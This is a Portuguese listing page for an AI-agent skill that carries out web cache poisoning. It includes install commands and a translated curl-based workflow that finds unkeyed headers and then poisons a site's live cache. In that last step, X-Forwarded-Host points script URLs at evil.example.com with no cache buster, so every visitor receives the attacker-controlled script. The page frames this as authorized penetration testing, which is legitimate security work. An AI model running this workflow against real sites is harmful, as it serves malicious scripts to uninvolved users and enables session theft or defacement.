performing-web-cache-poisoning-attack
Ajuda seu agente a envenenar respostas de cache web para servir conteúdo malicioso a outros usuários.
O que ela faz
Esta ferramenta ajuda a testar como a 'memória' de sites (cache) funciona. Ela permite que você, durante testes de segurança autorizados, manipule essa memória para que, temporariamente, um site mostre conteúdo malicioso para outros usuários.
Quando usar
- ✓Em testes de segurança autorizados em sites que usam sistemas de 'memória' (cache) como Cloudflare ou Varnish.
- ✓Para verificar se um site pode ser enganado para mostrar informações erradas para todos.
- ✓Ao avaliar se informações extras enviadas ao site afetam o que fica guardado na 'memória'.
Exemplo do que pedir para a IA
“Teste se o site pode ser enganado para mostrar um link malicioso em vez do normal.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta envia requisições especiais para o site. Ela verifica se informações extras (cabeçalhos) que não deveriam ser guardadas na 'memória' do site acabam sendo incluídas. Se sim, ela pode fazer o site guardar um link para um site malicioso.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-web-cache-poisoning-attackOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/performing-web-cache-poisoning-attack/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Realizando Ataque de Envenenamento de Cache Web
Quando Usar
- Durante testes de penetração autorizados quando a aplicação usa cache de CDN ou proxy reverso (Cloudflare, Akamai, Varnish, Nginx)
- Ao avaliar aplicações web em busca de vulnerabilidades baseadas em cache que possam afetar todos os usuários
- Para testar se cabeçalhos HTTP não-chave são refletidos em respostas cacheadas
- Ao avaliar o comportamento da chave de cache e vulnerabilidades de engano de cache
- Durante avaliações de segurança de aplicações com políticas de cache agressivas
Pré-requisitos
- Autorização: Acordo de teste de penetração por escrito cobrindo explicitamente testes de envenenamento de cache
- Burp Suite Professional: Com a extensão Param Miner para descoberta automatizada de cabeçalhos não-chave
- curl: Para testes manuais de cache com controle preciso de cabeçalhos
- Conhecimento do alvo: Compreensão da camada de cache (provedor de CDN, cabeçalhos de cache)
- Cache buster: Parâmetro de consulta único para isolar requisições de teste de outros usuários
- Cuidado: O envenenamento de cache afeta todos os usuários; teste primeiro com parâmetros de cache-buster
Aviso Legal: Esta habilidade destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.
Fluxo de Trabalho
Passo 1: Identificar a Camada e o Comportamento de Cache
Determine qual infraestrutura de cache está em uso e como a chave de cache é construída.
# Check cache-related response headers
curl -s -I "https://target.example.com/" | grep -iE \
"(cache-control|x-cache|cf-cache|age|vary|x-varnish|x-served-by|cdn|via)"
# Common cache indicators:
# X-Cache: HIT / MISS
# CF-Cache-Status: HIT / MISS / DYNAMIC (Cloudflare)
# Age: 120 (seconds since cached)
# X-Varnish: 12345 67890 (Varnish)
# Via: 1.1 varnish (Varnish/CDN proxy)
# Determine cache key by testing variations
# Cache key typically includes: Host + Path + Query string
# Test 1: Same URL, two requests - check if second is cached
curl -s -I "https://target.example.com/page?cachebuster=test1" | grep -i "x-cache"
curl -s -I "https://target.example.com/page?cachebuster=test1" | grep -i "x-cache"
# First: MISS, Second: HIT = caching is active
# Test 2: Vary header behavior
curl -s -I "https://target.example.com/" | grep -i "vary"
# Vary: Accept-Encoding means Accept-Encoding is part of cache key
Passo 2: Descobrir Entradas Não-Chave com Param Miner
Use o Param Miner do Burp para encontrar cabeçalhos e parâmetros que não estão incluídos na chave de cache, mas são refletidos nas respostas.
# In Burp Suite:
# 1. Install Param Miner from BApp Store
# 2. Right-click target request > Extensions > Param Miner > Guess headers
# 3. Param Miner will test hundreds of HTTP headers
# 4. Check results in Extender > Extensions > Param Miner > Output
# Common unkeyed headers to test manually:
# X-Forwarded-Host, X-Forwarded-Scheme, X-Forwarded-Proto
# X-Original-URL, X-Rewrite-URL
# X-Host, X-Forwarded-Server
# Origin, Referer
# X-Forwarded-For, True-Client-IP
# Manual testing for unkeyed header reflection
# Add cache buster to isolate testing
CB="cachebuster=$(date +%s)"
# Test X-Forwarded-Host reflection
curl -s -H "X-Forwarded-Host: evil.example.com" \
"https://target.example.com/?$CB" | grep "evil.example.com"
# Test X-Forwarded-Scheme
curl -s -H "X-Forwarded-Scheme: nothttps" \
"https://target.example.com/?$CB" | grep "nothttps"
# Test X-Original-URL (path override)
curl -s -H "X-Original-URL: /admin" \
"https://target.example.com/?$CB"
# Test X-Forwarded-Proto
curl -s -H "X-Forwarded-Proto: http" \
"https://target.example.com/?$CB" | grep "http://"
Passo 3: Explorar Cabeçalho Não-Chave para Envenenamento de Cache
Crie requisições que envenenem respostas cacheadas com conteúdo malicioso.
# Cenário: X-Forwarded-Host refletido em URLs de recursos
# Resposta normal inclui: <script src="https://target.example.com/app.js">
# Envenenado: <script src="https://evil.example.com/app.js">
# Passo 1: Confirmar reflexão com cache buster
curl -s -H "X-Forwarded-Host: evil.example.com" \
"https://target.example.com/?cb=unique123" | \
grep "evil.example.com"
# Passo 2: Envenenar a página cacheada real (SEM cache buster)
# AVISO: Isso afeta todos os usuários - faça apenas com autorização explícita
curl -s -H "X-Forwarded-Host: evil.example.com" \
"https://target.example.com/"
# Passo 3: Verificar se o cache foi envenenado
curl -s "https://target.example.com/" | grep "evil.example.com"
…
Perguntas frequentes
O que é 'cache' de site?
É como a 'memória rápida' de um site. Ele guarda cópias de páginas para que, quando alguém as visita novamente, elas carreguem mais rápido. Essa ferramenta testa se essa 'memória' pode ser enganada.
O que são 'unkeyed headers'?
São informações extras enviadas junto com um pedido ao site. Normalmente, o 'cache' do site só considera o endereço principal para guardar uma cópia. 'Unkeyed headers' são informações extras que não são consideradas pelo cache, mas que o site pode usar para mudar a resposta.
Isso pode prejudicar meu site?
Sim, se usado sem autorização ou conhecimento. O 'cache poisoning' pode fazer com que todos os visitantes vejam conteúdo malicioso. Por isso, é crucial ter permissão explícita e usar parâmetros de teste para isolar os efeitos.
Detalhes
Descrição original do autor
Exploiting web cache mechanisms to serve malicious content to other users by poisoning cached responses through unkeyed headers and parameters during authorized security tests.
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #6172
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
agent-architecture-audit
Faz seu agente verificar se tudo está funcionando corretamente. Ele encontra e conserta problemas em sistemas de IA, garantindo que funcionem como esperado.
affaan-m/ECC
agent-eval
Ajuda seu agente a comparar diferentes ferramentas de programação de IA. Ele mede qual é mais rápido, barato e confiável para realizar tarefas específicas.
affaan-m/ECC
agent-harness-construction
Faz seu agente entender melhor como realizar tarefas. Ele otimiza as ferramentas e instruções que o agente usa para aumentar suas chances de sucesso.
affaan-m/ECC